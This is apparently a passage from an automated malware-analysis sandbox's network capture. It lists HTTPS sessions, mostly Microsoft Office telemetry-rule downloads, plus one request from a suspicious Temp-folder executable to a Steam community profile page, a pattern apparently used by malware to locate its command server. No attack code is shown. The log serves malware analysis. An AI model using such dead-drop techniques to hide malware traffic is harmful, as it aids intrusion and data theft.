2024-11-11 13:33:09 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:09 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:09 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 5f7107d8-901e-0048-05d5-33b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133309Z-174f78459685m244hC1EWRgp2c00000004r000000000f3y4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:09 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:09 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:09 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 7f4584eb-c01e-008e-75d5-337381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133309Z-174f7845968px8v7hC1EWR08ng000000054g00000000f24g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:09 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:09 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:09 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:09 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: c08ebcb6-401e-0064-7bd5-3354af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133309Z-174f7845968px8v7hC1EWR08ng000000054g00000000f258 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:09 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:09 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:09 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:09 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 99a87d01-601e-005c-42d5-33f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133309Z-174f78459685726chC1EWRsnbg000000054g000000002xqh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:09 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:10 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:10 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: c08ebcd4-401e-0064-18d5-3354af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133310Z-174f7845968cpnpfhC1EWR3afc00000004gg00000000dxpd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:10 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:10 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:10 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 9a2be917-a01e-0053-13d5-338603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133310Z-174f7845968cpnpfhC1EWR3afc00000004r0000000002cky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:10 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:10 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:10 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 1815edcd-001e-0028-0ed5-33c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133310Z-174f7845968frfdmhC1EWRxxbw000000050g00000000bnge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:10 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49847	23.192.247.89	443	4632	C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:10 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-11-11 13:33:10 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 11 Nov 2024 13:33:10 GMT Content-Length: 25594 Connection: close Set-Cookie: sessionid=468afcb8f7070a36302c0c58; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C80f26d8df816a964aafb6ec188b485ed; Path=/; Secure; HttpOnly; SameSite=None
2024-11-11 13:33:10 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-11-11 13:33:10 UTC	10097	IN	Data Raw: 65 61 6e 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 74 68 61 69 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 68 61 69 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e0 b9 84 e0 b8 97 e0 b8 a2 20 28 54 68 61 69 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 62 75 6c 67 61 72 69 61 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 Data Ascii: ean)</a><a class="popup_menu_item tight" href="?l=thai" onclick="ChangeLanguage( 'thai' ); return false;"> (Thai)</a><a class="popup_menu_item tight" href="?l=bulgarian" onclick="Chang
2024-11-11 13:33:10 UTC	1018	IN	Data Raw: 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 09 09 09 3c 62 72 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 76 61 6c 76 65 5f 6c 69 6e 6b 73 22 3e 0d 0a 09 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 70 72 69 76 61 63 79 5f 61 67 Data Ascii: ite is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.<br><span class="valve_links"><a href="http://store.steampowered.com/privacy_ag

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:10 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:10 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 1c14dce3-c01e-0079-04d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133310Z-174f7845968frfdmhC1EWRxxbw0000000550000000000yey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:10 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:10 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:10 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 1c14dccd-c01e-0079-70d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133310Z-174f7845968nnm4mhC1EWR1rn400000004vg00000000f3em x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
